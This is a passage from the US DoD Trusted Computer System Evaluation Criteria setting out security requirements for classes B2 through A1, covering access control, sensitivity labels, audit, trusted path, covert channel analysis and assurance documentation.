subject's security level are included in the non-hierarchical
categories in the object's security level.
3.2.2 ACCOUNTABILITY
3.2.2.1 Identification and Authentication
The TCB shall require users to identify themselves to it before
beginning to perform any other actions that the TCB is expected
to mediate. Furthermore, the TCB shall maintain authentication
data that includes information for verifying the identity of
individual users (e.g., passwords) as well as information for
determining the clearance and authorizations of individual
users. This data shall be used by the TCB to authenticate the
user's identity and to determine the security level and
authorizations of subjects that may be created to act on behalf
of the individual user. The TCB shall protect authentication
data so that it cannot be accessed by any unauthorized user.
The TCB shall be able to enforce individual accountability by
providing the capability to uniquely identify each individual
ADP system user. The TCB shall also provide the capability of
associating this identity with all auditable actions taken by
that individual.
3.2.2.1.1 Trusted Path
THE TCB SHALL SUPPORT A TRUSTED COMMUNICATION PATH
BETWEEN ITSELF AND USER FOR INITIAL LOGIN AND
AUTHENTICATION. COMMUNICATIONS VIA THIS PATH SHALL BE
INITIATED EXCLUSIVELY BY A USER.
3.2.2.2 Audit
The TCB shall be able to create, maintain, and protect from
modification or unauthorized access or destruction an audit
trail of accesses to the objects it protects. The audit data
shall be protected by the TCB so that read access to it is
limited to those who are authorized for audit data. The TCB
shall be able to record the following types of events: use of
identification and authentication mechanisms, introduction of
objects into a user's address space (e.g., file open, program
initiation), deletion of objects, and actions taken by computer
operators and system administrators and/or system security
officers. The TCB shall also be able to audit any override of
human-readable output markings. For each recorded event, the
audit record shall identify: date and time of the event, user,
type of event, and success or failure of the event. For
identification/authentication events the origin of request
(e.g., terminal ID) shall be included in the audit record. For
events that introduce an object into a user's address space and
for object deletion events the audit record shall include the
name of the object and the object's security level. The ADP
system administrator shall be able to selectively audit the
actions of any one or more users based on individual identity
and/or object security level. THE TCB SHALL BE ABLE TO AUDIT
THE IDENTIFIED EVENTS THAT MAY BE USED IN THE EXPLOITATION OF
COVERT STORAGE CHANNELS.
3.2.3 ASSURANCE
3.2.3.1 Operational Assurance
3.2.3.1.1 System Architecture
THE TCB SHALL MAINTAIN A DOMAIN FOR ITS OWN EXECUTION
THAT PROTECTS IT FROM EXTERNAL INTERFERENCE OR TAMPERING
(E.G., BY MODIFICATION OF ITS CODE OR DATA STRUCTURES).
THE TCB SHALL MAINTAIN PROCESS ISOLATION THROUGH THE
PROVISION OF DISTINCT ADDRESS SPACES UNDER ITS CONTROL.
THE TCB SHALL BE INTERNALLY STRUCTURED INTO WELL-DEFINED
LARGELY INDEPENDENT MODULES. IT SHALL MAKE EFFECTIVE USE
OF AVAILABLE HARDWARE TO SEPARATE THOSE ELEMENTS THAT ARE
PROTECTION-CRITICAL FROM THOSE THAT ARE NOT. THE TCB
MODULES SHALL BE DESIGNED SUCH THAT THE PRINCIPLE OF LEAST
PRIVILEGE IS ENFORCED. FEATURES IN HARDWARE, SUCH AS
SEGMENTATION, SHALL BE USED TO SUPPORT LOGICALLY DISTINCT
STORAGE OBJECTS WITH SEPARATE ATTRIBUTES (NAMELY:
READABLE, WRITEABLE). THE USER INTERFACE TO THE TCB
SHALL BE COMPLETELY DEFINED AND ALL ELEMENTS OF THE TCB
IDENTIFIED.
3.2.3.1.2 System Integrity
Hardware and/or software features shall be provided that
can be used to periodically validate the correct
operation of the on-site hardware and firmware elements
of the TCB.
3.2.3.1.3 Covert Channel Analysis
THE SYSTEM DEVELOPER SHALL CONDUCT A THOROUGH SEARCH FOR
COVERT STORAGE CHANNELS AND MAKE A DETERMINATION (EITHER
BY ACTUAL MEASUREMENT OR BY ENGINEERING ESTIMATION) OF
THE MAXIMUM BANDWIDTH OF EACH IDENTIFIED CHANNEL. (SEE
THE COVERT CHANNELS GUIDELINE SECTION.)
3.2.3.1.4 Trusted Facility Management
THE TCB SHALL SUPPORT SEPARATE OPERATOR AND ADMINISTRATOR
FUNCTIONS.
3.2.3.2 Life-Cycle Assurance
3.2.3.2.1 Security Testing
The security mechanisms of the ADP system shall be tested
and found to work as claimed in the system documentation.
A team of individuals who thoroughly understand the
specific implementation of the TCB shall subject its
design documentation, source code, and object code to
thorough analysis and testing. Their objectives shall be:
to uncover all design and implementation flaws that would
permit a subject external to the TCB to read, change, or
delete data normally denied under the mandatory or
discretionary security policy enforced by the TCB; as well
as to assure that no subject (without authorization to do
so) is able to cause the TCB to enter a state such that it
is unable to respond to communications initiated by other
users. THE TCB SHALL BE FOUND RELATIVELY RESISTANT TO
PENETRATION. All discovered flaws shall be CORRECTED and
the TCB retested to demonstrate that they have been
eliminated and that new flaws have not been introduced.
TESTING SHALL DEMONSTRATE THAT THE TCB IMPLEMENTATION IS
CONSISTENT WITH THE DESCRIPTIVE TOP-LEVEL SPECIFICATION.
(See the Security Testing Guidelines.)
3.2.3.2.2 Design Specification and Verification
A FORMAL model of the security policy supported by the
TCB shall be maintained that is PROVEN consistent with
its axioms. A DESCRIPTIVE TOP-LEVEL SPECIFICATION (DTLS)
OF THE TCB SHALL BE MAINTAINED THAT COMPLETELY AND
ACCURATELY DESCRIBES THE TCB IN TERMS OF EXCEPTIONS, ERROR
MESSAGES, AND EFFECTS. IT SHALL BE SHOWN TO BE AN
ACCURATE DESCRIPTION OF THE TCB INTERFACE.
3.2.3.2.3 Configuration Management
DURING DEVELOPMENT AND MAINTENANCE OF THE TCB, A
CONFIGURATION MANAGEMENT SYSTEM SHALL BE IN PLACE THAT
MAINTAINS CONTROL OF CHANGES TO THE DESCRIPTIVE TOP-LEVEL
SPECIFICATION, OTHER DESIGN DATA, IMPLEMENTATION
DOCUMENTATION, SOURCE CODE, THE RUNNING VERSION OF THE
OBJECT CODE, AND TEST FIXTURES AND DOCUMENTATION. THE
CONFIGURATION MANAGEMENT SYSTEM SHALL ASSURE A CONSISTENT
MAPPING AMONG ALL DOCUMENTATION AND CODE ASSOCIATED WITH
THE CURRENT VERSION OF THE TCB. TOOLS SHALL BE PROVIDED
FOR GENERATION OF A NEW VERSION OF THE TCB FROM SOURCE
CODE. ALSO AVAILABLE SHALL BE TOOLS FOR COMPARING A
NEWLY GENERATED VERSION WITH THE PREVIOUS TCB VERSION IN
ORDER TO ASCERTAIN THAT ONLY THE INTENDED CHANGES HAVE
BEEN MADE IN THE CODE THAT WILL ACTUALLY BE USED AS THE
NEW VERSION OF THE TCB.
3.2.4 DOCUMENTATION
3.2.4.1 Security Features User's Guide
A single summary, chapter, or manual in user documentation
shall describe the protection mechanisms provided by the TCB,
guidelines on their use, and how they interact with one another.
3.2.4.2 Trusted Facility Manual
A manual addressed to the ADP system administrator shall
present cautions about functions and privileges that should be
controlled when running a secure facility. The procedures for
examining and maintaining the audit files as well as the
detailed audit record structure for each type of audit event
shall be given. The manual shall describe the operator and
administrator functions related to security, to include
changing the security characteristics of a user. It shall
provide guidelines on the consistent and effective use of the
protection features of the system, how they interact, how to
securely generate a new TCB, and facility procedures, warnings,
and privileges that need to be controlled in order to operate
the facility in a secure manner. THE TCB MODULES THAT CONTAIN
THE REFERENCE VALIDATION MECHANISM SHALL BE IDENTIFIED. THE
PROCEDURES FOR SECURE GENERATION OF A NEW TCB FROM SOURCE AFTER
MODIFICATION OF ANY MODULES IN THE TCB SHALL BE DESCRIBED.
3.2.4.3 Test Documentation
The system developer shall provide to the evaluators a document
that describes the test plan and results of the security
mechanisms' functional testing. IT SHALL INCLUDE RESULTS OF
TESTING THE EFFECTIVENESS OF THE METHODS USED TO REDUCE COVERT
CHANNEL BANDWIDTHS.
3.2.4.4 Design Documentation
Documentation shall be available that provides a description of
the manufacturer's philosophy of protection and an explanation
of how this philosophy is translated into the TCB. THE
interfaces between THE TCB modules shall be described. A
FORMAL description of the security policy model enforced by the
TCB shall be available and PROVEN that it is sufficient to
enforce the security policy. The specific TCB protection
mechanisms shall be identified and an explanation given to show
that they satisfy the model. THE DESCRIPTIVE TOP-LEVEL
SPECIFICATION (DTLS) SHALL BE SHOWN TO BE AN ACCURATE
DESCRIPTION OF THE TCB INTERFACE. DOCUMENTATION SHALL DESCRIBE
HOW THE TCB IMPLEMENTS THE REFERENCE MONITOR CONCEPT AND GIVE
AN EXPLANATION WHY IT IS TAMPERPROOF, CANNOT BE BYPASSED, AND
IS CORRECTLY IMPLEMENTED. DOCUMENTATION SHALL DESCRIBE HOW THE
TCB IS STRUCTURED TO FACILITATE TESTING AND TO ENFORCE LEAST
PRIVILEGE. THIS DOCUMENTATION SHALL ALSO PRESENT THE RESULTS
OF THE COVERT CHANNEL ANALYSIS AND THE TRADEOFFS INVOLVED IN
RESTRICTING THE CHANNELS. ALL AUDITABLE EVENTS THAT MAY BE
USED IN THE EXPLOITATION OF KNOWN COVERT STORAGE CHANNELS SHALL
BE IDENTIFIED. THE BANDWIDTHS OF KNOWN COVERT STORAGE CHANNELS,
THE USE OF WHICH IS NOT DETECTABLE BY THE AUDITING MECHANISMS,
SHALL BE PROVIDED. (SEE THE COVERT CHANNEL GUIDELINE SECTION.)
3.3 CLASS (B3): SECURITY DOMAINS
The class (B3) TCB must satisfy the reference monitor requirements that it
mediate all accesses of subjects to objects, be tamperproof, and be small
enough to be subjected to analysis and tests. To this end, the TCB is
structured to exclude code not essential to security policy enforcement, with
significant system engineering during TCB design and implementation directed
toward minimizing its complexity. A security administrator is supported,
audit mechanisms are expanded to signal security- relevant events, and system
recovery procedures are required. The system is highly resistant to
penetration. The following are minimal requirements for systems assigned a
class (B3) rating:
3.3.1 SECURITY POLICY
3.3.1.1 Discretionary Access Control
The TCB shall define and control access between named users and
named objects (e.g., files and programs) in the ADP system.
The enforcement mechanism (E.G., ACCESS CONTROL LISTS) shall
allow users to specify and control sharing of those OBJECTS.
The discretionary access control mechanism shall, either by
explicit user action or by default, provide that objects are
protected from unauthorized access. These access controls shall
be capable of SPECIFYING, FOR EACH NAMED OBJECT, A LIST OF NAMED
INDIVIDUALS AND A LIST OF GROUPS OF NAMED INDIVIDUALS WITH THEIR
RESPECTIVE MODES OF ACCESS TO THAT OBJECT. FURTHERMORE, FOR
EACH SUCH NAMED OBJECT, IT SHALL BE POSSIBLE TO SPECIFY A LIST
OF NAMED INDIVIDUALS AND A LIST OF GROUPS OF NAMED INDIVIDUALS
FOR WHICH NO ACCESS TO THE OBJECT IS TO BE GIVEN. Access
permission to an object by users not already possessing access
permission shall only be assigned by authorized users.
3.3.1.2 Object Reuse
When a storage object is initially assigned, allocated, or
reallocated to a subject from the TCB's pool of unused storage
objects, the TCB shall assure that the object contains no data
for which the subject is not authorized.
3.3.1.3 Labels
Sensitivity labels associated with each ADP system resource
(e.g., subject, storage object) that is directly or indirectly
accessible by subjects external to the TCB shall be maintained
by the TCB. These labels shall be used as the basis for
mandatory access control decisions. In order to import non-
labeled data, the TCB shall request and receive from an
authorized user the security level of the data, and all such
actions shall be auditable by the TCB.
3.3.1.3.1 Label Integrity
Sensitivity labels shall accurately represent security
levels of the specific subjects or objects with which
they are associated. When exported by the TCB,
sensitivity labels shall accurately and unambiguously
represent the internal labels and shall be associated
with the information being exported.
3.3.1.3.2 Exportation of Labeled Information
The TCB shall designate each communication channel and
I/O device as either single-level or multilevel. Any
change in this designation shall be done manually and
shall be auditable by the TCB. The TCB shall maintain
and be able to audit any change in the current security
level associated with a single-level communication
channel or I/O device.
3.3.1.3.2.1 Exportation to Multilevel Devices
When the TCB exports an object to a multilevel I/O
device, the sensitivity label associated with that
object shall also be exported and shall reside on
the same physical medium as the exported
information and shall be in the same form (i.e.,
machine-readable or human-readable form). When
the TCB exports or imports an object over a
multilevel communication channel, the protocol
used on that channel shall provide for the
unambiguous pairing between the sensitivity labels
and the associated information that is sent or
received.
3.3.1.3.2.2 Exportation to Single-Level Devices
Single-level I/O devices and single-level
communication channels are not required to
maintain the sensitivity labels of the information
they process. However, the TCB shall include a
mechanism by which the TCB and an authorized user
reliably communicate to designate the single
security level of information imported or exported
via single-level communication channels or I/O
devices.
3.3.1.3.2.3 Labeling Human-Readable Output
The ADP system administrator shall be able to
specify the printable label names associated with
exported sensitivity labels. The TCB shall mark
the beginning and end of all human-readable, paged,
hardcopy output (e.g., line printer output) with
human-readable sensitivity labels that properly*
represent the sensitivity of the output. The TCB
shall, by default, mark the top and bottom of each
page of human-readable, paged, hardcopy output
(e.g., line printer output) with human-readable
sensitivity labels that properly* represent the
overall sensitivity of the output or that
properly* represent the sensitivity of the
information on the page. The TCB shall, by
default and in an appropriate manner, mark other
forms of human-readable output (e.g., maps,
graphics) with human-readable sensitivity labels
that properly* represent the sensitivity of the
output. Any override of these marking defaults
shall be auditable by the TCB.
_____________________________________________________________
* The hierarchical classification component in human-readable
sensitivity labels shall be equal to the greatest
hierarchical classification of any of the information in the
output that the labels refer to; the non-hierarchical
category component shall include all of the non-hierarchical
categories of the information in the output the labels refer
to, but no other non-hierarchical categories.
_____________________________________________________________
3.3.1.3.3 Subject Sensitivity Labels
The TCB shall immediately notify a terminal user of each
change in the security level associated with that user
during an interactive session. A terminal user shall be
able to query the TCB as desired for a display of the
subject's complete sensitivity label.
3.3.1.3.4 Device Labels
The TCB shall support the assignment of minimum and
maximum security levels to all attached physical devices.
These security levels shall be used by the TCB to enforce
constraints imposed by the physical environments in which
the devices are located.
3.3.1.4 Mandatory Access Control
The TCB shall enforce a mandatory access control policy over
all resources (i.e., subjects, storage objects, and I/O
devices) that are directly or indirectly accessible by subjects
external to the TCB. These subjects and objects shall be
assigned sensitivity labels that are a combination of
hierarchical classification levels and non-hierarchical
categories, and the labels shall be used as the basis for
mandatory access control decisions. The TCB shall be able to
support two or more such security levels. (See the Mandatory
Access Control guidelines.) The following requirements shall
hold for all accesses between all subjects external to the TCB
and all objects directly or indirectly accessible by these
subjects: A subject can read an object only if the hierarchical
classification in the subject's security level is greater than
or equal to the hierarchical classification in the object's
security level and the non-hierarchical categories in the
subject's security level include all the non-hierarchical
categories in the object's security level. A subject can write
an object only if the hierarchical classification in the
subject's security level is less than or equal to the
hierarchical classification in the object's security level and
all the non-hierarchical categories in the subject's security
level are included in the non- hierarchical categories in the
object's security level.
3.3.2 ACCOUNTABILITY
3.3.2.1 Identification and Authentication
The TCB shall require users to identify themselves to it before
beginning to perform any other actions that the TCB is expected
to mediate. Furthermore, the TCB shall maintain authentication
data that includes information for verifying the identity of
individual users (e.g., passwords) as well as information for
determining the clearance and authorizations of individual
users. This data shall be used by the TCB to authenticate the
user's identity and to determine the security level and
authorizations of subjects that may be created to act on behalf
of the individual user. The TCB shall protect authentication
data so that it cannot be accessed by any unauthorized user.
The TCB shall be able to enforce individual accountability by
providing the capability to uniquely identify each individual
ADP system user. The TCB shall also provide the capability of
associating this identity with all auditable actions taken by
that individual.
3.3.2.1.1 Trusted Path
The TCB shall support a trusted communication path
between itself and USERS for USE WHEN A POSITIVE TCB-TO-
USER CONNECTION IS REQUIRED (E.G., LOGIN, CHANGE SUBJECT
SECURITY LEVEL). Communications via this TRUSTED path
shall be ACTIVATED exclusively by a user OR THE TCB AND
SHALL BE LOGICALLY ISOLATED AND UNMISTAKABLY
DISTINGUISHABLE FROM OTHER PATHS.
3.3.2.2 Audit
The TCB shall be able to create, maintain, and protect from
modification or unauthorized access or destruction an audit
trail of accesses to the objects it protects. The audit data
shall be protected by the TCB so that read access to it is
limited to those who are authorized for audit data. The TCB
shall be able to record the following types of events: use of
identification and authentication mechanisms, introduction of
objects into a user's address space (e.g., file open, program
initiation), deletion of objects, and actions taken by computer
operators and system administrators and/or system security
officers. The TCB shall also be able to audit any override of
human-readable output markings. For each recorded event, the
audit record shall identify: date and time of the event, user,
type of event, and success or failure of the event. For
identification/authentication events the origin of request
(e.g., terminal ID) shall be included in the audit record.
For events that introduce an object into a user's address
space and for object deletion events the audit record shall
include the name of the object and the object's security level.
The ADP system administrator shall be able to selectively audit
the actions of any one or more users based on individual
identity and/or object security level. The TCB shall be able to
audit the identified events that may be used in the exploitation
of covert storage channels. THE TCB SHALL CONTAIN A MECHANISM
THAT IS ABLE TO MONITOR THE OCCURRENCE OR ACCUMULATION OF
SECURITY AUDITABLE EVENTS THAT MAY INDICATE AN IMMINENT
VIOLATION OF SECURITY POLICY. THIS MECHANISM SHALL BE ABLE TO
IMMEDIATELY NOTIFY THE SECURITY ADMINISTRATOR WHEN THRESHOLDS
ARE EXCEEDED.
3.3.3 ASSURANCE
3.3.3.1 Operational Assurance
3.3.3.1.1 System Architecture
The TCB shall maintain a domain for its own execution
that protects it from external interference or tampering
(e.g., by modification of its code or data structures).
The TCB shall maintain process isolation through the
provision of distinct address spaces under its control.
The TCB shall be internally structured into well-defined
largely independent modules. It shall make effective use
of available hardware to separate those elements that are
protection-critical from those that are not. The TCB
modules shall be designed such that the principle of
least privilege is enforced. Features in hardware, such
as segmentation, shall be used to support logically
distinct storage objects with separate attributes (namely:
readable, writeable). The user interface to the TCB shall
be completely defined and all elements of the TCB
identified. THE TCB SHALL BE DESIGNED AND STRUCTURED TO
USE A COMPLETE, CONCEPTUALLY SIMPLE PROTECTION MECHANISM
WITH PRECISELY DEFINED SEMANTICS. THIS MECHANISM SHALL
PLAY A CENTRAL ROLE IN ENFORCING THE INTERNAL STRUCTURING
OF THE TCB AND THE SYSTEM. THE TCB SHALL INCORPORATE
SIGNIFICANT USE OF LAYERING, ABSTRACTION AND DATA HIDING.
SIGNIFICANT SYSTEM ENGINEERING SHALL BE DIRECTED TOWARD
MINIMIZING THE COMPLEXITY OF THE TCB AND EXCLUDING FROM
THE TCB MODULES THAT ARE NOT PROTECTION-CRITICAL.
3.3.3.1.2 System Integrity
Hardware and/or software features shall be provided that
can be used to periodically validate the correct
operation of the on-site hardware and firmware elements
of the TCB.
3.3.3.1.3 Covert Channel Analysis
The system developer shall conduct a thorough search for
COVERT CHANNELS and make a determination (either by
actual measurement or by engineering estimation) of the
maximum bandwidth of each identified channel. (See the
Covert Channels Guideline section.)
3.3.3.1.4 Trusted Facility Management
The TCB shall support separate operator and administrator
functions. THE FUNCTIONS PERFORMED IN THE ROLE OF A
SECURITY ADMINISTRATOR SHALL BE IDENTIFIED. THE ADP
SYSTEM ADMINISTRATIVE PERSONNEL SHALL ONLY BE ABLE TO
PERFORM SECURITY ADMINISTRATOR FUNCTIONS AFTER TAKING A
DISTINCT AUDITABLE ACTION TO ASSUME THE SECURITY
ADMINISTRATOR ROLE ON THE ADP SYSTEM. NON-SECURITY
FUNCTIONS THAT CAN BE PERFORMED IN THE SECURITY
ADMINISTRATION ROLE SHALL BE LIMITED STRICTLY TO THOSE
ESSENTIAL TO PERFORMING THE SECURITY ROLE EFFECTIVELY.
3.3.3.1.5 Trusted Recovery
PROCEDURES AND/OR MECHANISMS SHALL BE PROVIDED TO ASSURE
THAT, AFTER AN ADP SYSTEM FAILURE OR OTHER DISCONTINUITY,
RECOVERY WITHOUT A PROTECTION COMPROMISE IS OBTAINED.
3.3.3.2 Life-Cycle Assurance
3.3.3.2.1 Security Testing
The security mechanisms of the ADP system shall be tested
and found to work as claimed in the system documentation.
A team of individuals who thoroughly understand the
specific implementation of the TCB shall subject its
design documentation, source code, and object code to
thorough analysis and testing. Their objectives shall
be: to uncover all design and implementation flaws that
would permit a subject external to the TCB to read,
change, or delete data normally denied under the
mandatory or discretionary security policy enforced by
the TCB; as well as to assure that no subject (without
authorization to do so) is able to cause the TCB to enter
a state such that it is unable to respond to
communications initiated by other users. The TCB shall
be FOUND RESISTANT TO penetration. All discovered flaws
shall be corrected and the TCB retested to demonstrate
that they have been eliminated and that new flaws have
not been introduced. Testing shall demonstrate that the
TCB implementation is consistent with the descriptive
top-level specification. (See the Security Testing
Guidelines.) NO DESIGN FLAWS AND NO MORE THAN A FEW
CORRECTABLE IMPLEMENTATION FLAWS MAY BE FOUND DURING
TESTING AND THERE SHALL BE REASONABLE CONFIDENCE THAT
FEW REMAIN.
3.3.3.2.2 Design Specification and Verification
A formal model of the security policy supported by the
TCB shall be maintained that is proven consistent with
its axioms. A descriptive top-level specification (DTLS)
of the TCB shall be maintained that completely and
accurately describes the TCB in terms of exceptions, error
messages, and effects. It shall be shown to be an
accurate description of the TCB interface. A CONVINCING
ARGUMENT SHALL BE GIVEN THAT THE DTLS IS CONSISTENT WITH
THE MODEL.
3.3.3.2.3 Configuration Management
During development and maintenance of the TCB, a
configuration management system shall be in place that
maintains control of changes to the descriptive top-level
specification, other design data, implementation
documentation, source code, the running version of the
object code, and test fixtures and documentation. The
configuration management system shall assure a consistent
mapping among all documentation and code associated with
the current version of the TCB. Tools shall be provided
for generation of a new version of the TCB from source
code. Also available shall be tools for comparing a
newly generated version with the previous TCB version in
order to ascertain that only the intended changes have
been made in the code that will actually be used as the
new version of the TCB.
3.3.4 DOCUMENTATION
3.3.4.1 Security Features User's Guide
A single summary, chapter, or manual in user documentation
shall describe the protection mechanisms provided by the TCB,
guidelines on their use, and how they interact with one another.
3.3.4.2 Trusted Facility Manual
A manual addressed to the ADP system administrator shall
present cautions about functions and privileges that should be
controlled when running a secure facility. The procedures for
examining and maintaining the audit files as well as the
detailed audit record structure for each type of audit event
shall be given. The manual shall describe the operator and
administrator functions related to security, to include
changing the security characteristics of a user. It shall
provide guidelines on the consistent and effective use of the
protection features of the system, how they interact, how to
securely generate a new TCB, and facility procedures, warnings,
and privileges that need to be controlled in order to operate
the facility in a secure manner. The TCB modules that contain
the reference validation mechanism shall be identified. The
procedures for secure generation of a new TCB from source after
modification of any modules in the TCB shall be described. IT
SHALL INCLUDE THE PROCEDURES TO ENSURE THAT THE SYSTEM IS
INITIALLY STARTED IN A SECURE MANNER. PROCEDURES SHALL ALSO BE
INCLUDED TO RESUME SECURE SYSTEM OPERATION AFTER ANY LAPSE IN
SYSTEM OPERATION.
3.3.4.3 Test Documentation
The system developer shall provide to the evaluators a document
that describes the test plan and results of the security
mechanisms' functional testing. It shall include results of
testing the effectiveness of the methods used to reduce covert
channel bandwidths.
3.3.4.4 Design Documentation
Documentation shall be available that provides a description of
the manufacturer's philosophy of protection and an explanation
of how this philosophy is translated into the TCB. The
interfaces between the TCB modules shall be described. A
formal description of the security policy model enforced by the
TCB shall be available and proven that it is sufficient to
enforce the security policy. The specific TCB protection
mechanisms shall be identified and an explanation given to show
that they satisfy the model. The descriptive top-level
specification (DTLS) shall be shown to be an accurate
description of the TCB interface. Documentation shall describe
how the TCB implements the reference monitor concept and give
an explanation why it is tamperproof, cannot be bypassed, and
is correctly implemented. THE TCB IMPLEMENTATION (I.E., IN
HARDWARE, FIRMWARE, AND SOFTWARE) SHALL BE INFORMALLY SHOWN TO
BE CONSISTENT WITH THE DTLS. THE ELEMENTS OF THE DTLS SHALL BE
SHOWN, USING INFORMAL TECHNIQUES, TO CORRESPOND TO THE ELEMENTS
OF THE TCB. Documentation shall describe how the TCB is
structured to facilitate testing and to enforce least privilege.
This documentation shall also present the results of the covert
channel analysis and the tradeoffs involved in restricting the
channels. All auditable events that may be used in the
exploitation of known covert storage channels shall be
identified. The bandwidths of known covert storage channels,
the use of which is not detectable by the auditing mechanisms,
shall be provided. (See the Covert Channel Guideline section.)
4.0 DIVISION A: VERIFIED PROTECTION
This division is characterized by the use of formal security verification
methods to assure that the mandatory and discretionary security controls
employed in the system can effectively protect classified or other sensitive
information stored or processed by the system. Extensive documentation is
required to demonstrate that the TCB meets the security requirements in all
aspects of design, development and implementation.
4.1 CLASS (A1): VERIFIED DESIGN
Systems in class (A1) are functionally equivalent to those in class (B3) in
that no additional architectural features or policy requirements are added.
The distinguishing feature of systems in this class is the analysis derived
from formal design specification and verification techniques and the resulting
high degree of assurance that the TCB is correctly implemented. This
assurance is developmental in nature, starting with a formal model of the
security policy and a formal top-level specification (FTLS) of the design.
Independent of the particular specification language or verification system
used, there are five important criteria for class (A1) design verification:
* A formal model of the security policy must be clearly
identified and documented, including a mathematical proof
that the model is consistent with its axioms and is
sufficient to support the security policy.
* An FTLS must be produced that includes abstract definitions
of the functions the TCB performs and of the hardware and/or
firmware mechanisms that are used to support separate
execution domains.
* The FTLS of the TCB must be shown to be consistent with the
model by formal techniques where possible (i.e., where
verification tools exist) and informal ones otherwise.
* The TCB implementation (i.e., in hardware, firmware, and
software) must be informally shown to be consistent with the
FTLS. The elements of the FTLS must be shown, using
informal techniques, to correspond to the elements of the
TCB. The FTLS must express the unified protection mechanism
required to satisfy the security policy, and it is the
elements of this protection mechanism that are mapped to the
elements of the TCB.
* Formal analysis techniques must be used to identify and
analyze covert channels. Informal techniques may be used to
identify covert timing channels. The continued existence of
identified covert channels in the system must be justified.
In keeping with the extensive design and development analysis of the TCB
required of systems in class (A1), more stringent configuration management is
required and procedures are established for securely distributing the system
to sites. A system security administrator is supported.
The following are minimal requirements for systems assigned a class (A1)
rating:
4.1.1 SECURITY POLICY
4.1.1.1 Discretionary Access Control
The TCB shall define and control access between named users and
named objects (e.g., files and programs) in the ADP system.
The enforcement mechanism (e.g., access control lists) shall
allow users to specify and control sharing of those objects.
The discretionary access control mechanism shall, either by
explicit user action or by default, provide that objects are
protected from unauthorized access. These access controls
shall be capable of specifying, for each named object, a list
of named individuals and a list of groups of named individuals
with their respective modes of access to that object.
Furthermore, for each such named object, it shall be possible to
specify a list of named individuals and a list of groups of
named individuals for which no access to the object is to be
given. Access permission to an object by users not already
possessing access permission shall only be assigned by
authorized users.
4.1.1.2 Object Reuse
When a storage object is initially assigned, allocated, or
reallocated to a subject from the TCB's pool of unused storage
objects, the TCB shall assure that the object contains no data
for which the subject is not authorized.
4.1.1.3 Labels
Sensitivity labels associated with each ADP system resource
(e.g., subject, storage object) that is directly or indirectly
accessible by subjects external to the TCB shall be maintained
by the TCB. These labels shall be used as the basis for
mandatory access control decisions. In order to import non-
labeled data, the TCB shall request and receive from an
authorized user the security level of the data, and all such
actions shall be auditable by the TCB.
4.1.1.3.1 Label Integrity
Sensitivity labels shall accurately represent security
levels of the specific subjects or objects with which
they are associated. When exported by the TCB,
sensitivity labels shall accurately and unambiguously
represent the internal labels and shall be associated
with the information being exported.
4.1.1.3.2 Exportation of Labeled Information
The TCB shall designate each communication channel and
I/O device as either single-level or multilevel. Any
change in this designation shall be done manually and
shall be auditable by the TCB. The TCB shall maintain
and be able to audit any change in the current security
level associated with a single-level communication
channel or I/O device.
4.1.1.3.2.1 Exportation to Multilevel Devices
When the TCB exports an object to a multilevel
I/O
device, the sensitivity label associated with that
object shall also be exported and shall reside on
the same physical medium as the exported
information and shall be in the same form (i.e.,
machine-readable or human-readable form). When
the TCB exports or imports an object over a
multilevel communication channel, the protocol
used on that channel shall provide for the
unambiguous pairing between the sensitivity labels
and the associated information that is sent or
received.
4.1.1.3.2.2 Exportation to Single-Level Devices
Single-level I/O devices and single-level
communication channels are not required to
maintain the sensitivity labels of the information
they process. However, the TCB shall include a
mechanism by which the TCB and an authorized user
reliably communicate to designate the single
security level of information imported or exported
via single-level communication channels or I/O
devices.
4.1.1.3.2.3 Labeling Human-Readable Output
The ADP system administrator shall be able to
specify the printable label names associated with
exported sensitivity labels. The TCB shall mark
the beginning and end of all human-readable, paged,
hardcopy output (e.g., line printer output) with
human-readable sensitivity labels that properly*
represent the sensitivity of the output. The TCB
shall, by default, mark the top and bottom of each
page of human-readable, paged, hardcopy output
(e.g., line printer output) with human-readable
sensitivity labels that properly* represent the
overall sensitivity of the output or that
properly* represent the sensitivity of the
information on the page. The TCB shall, by
default and in an appropriate manner, mark other
forms of human-readable output (e.g., maps,
graphics) with human-readable sensitivity labels
that properly* represent the sensitivity of the
output. Any override of these marking defaults
shall be auditable by the TCB.
____________________________________________________________________
* The hierarchical classification component in human-readable
sensitivity labels shall be equal to the greatest
hierarchical classification of any of the information in the
output that the labels refer to; the non-hierarchical
category component shall include all of the non-hierarchical
categories of the information in the output the labels refer
to, but no other non-hierarchical categories.
____________________________________________________________________
4.1.1.3.3 Subject Sensitivity Labels
The TCB shall immediately notify a terminal user of each
change in the security level associated with that user
during an interactive session. A terminal user shall be
able to query the TCB as desired for a display of the
subject's complete sensitivity label.
4.1.1.3.4 Device Labels
The TCB shall support the assignment of minimum and
maximum security levels to all attached physical devices.
These security levels shall be used by the TCB to enforce
constraints imposed by the physical environments in which
the devices are located.
4.1.1.4 Mandatory Access Control
The TCB shall enforce a mandatory access control policy over
all resources (i.e., subjects, storage objects, and I/O
devices) that are directly or indirectly accessible by subjects
external to the TCB. These subjects and objects shall be
assigned sensitivity labels that are a combination of
hierarchical classification levels and non-hierarchical
categories, and the labels shall be used as the basis for
mandatory access control decisions. The TCB shall be able to
support two or more such security levels. (See the Mandatory
Access Control guidelines.) The following requirements shall
hold for all accesses between all subjects external to the TCB
and all objects directly or indirectly accessible by these
subjects: A subject can read an object only if the hierarchical
classification in the subject's security level is greater than
or equal to the hierarchical classification in the object's
security level and the non-hierarchical categories in the
subject's security level include all the non-hierarchical
categories in the object's security level. A subject can write
an object only if the hierarchical classification in the
subject's security level is less than or equal to the
hierarchical classification in the object's security level and
all the non-hierarchical categories in the subject's security
level are included in the non- hierarchical categories in the
object's security level.
4.1.2 ACCOUNTABILITY
4.1.2.1 Identification and Authentication
The TCB shall require users to identify themselves to it before
beginning to perform any other actions that the TCB is expected
to mediate. Furthermore, the TCB shall maintain authentication
data that includes information for verifying the identity of
individual users (e.g., passwords) as well as information for
determining the clearance and authorizations of individual
users. This data shall be used by the TCB to authenticate the
user's identity and to determine the security level and
authorizations of subjects that may be created to act on behalf
of the individual user. The TCB shall protect authentication
data so that it cannot be accessed by any unauthorized user.
The TCB shall be able to enforce individual accountability by
providing the capability to uniquely identify each individual
ADP system user. The TCB shall also provide the capability of
associating this identity with all auditable actions taken by
that individual.
4.1.2.1.1 Trusted Path
The TCB shall support a trusted communication path
between itself and users for use when a positive TCB-to-
user connection is required (e.g., login, change subject
security level). Communications via this trusted path
shall be activated exclusively by a user or the TCB and
shall be logically isolated and unmistakably
distinguishable from other paths.
4.1.2.2 Audit
The TCB shall be able to create, maintain, and protect from
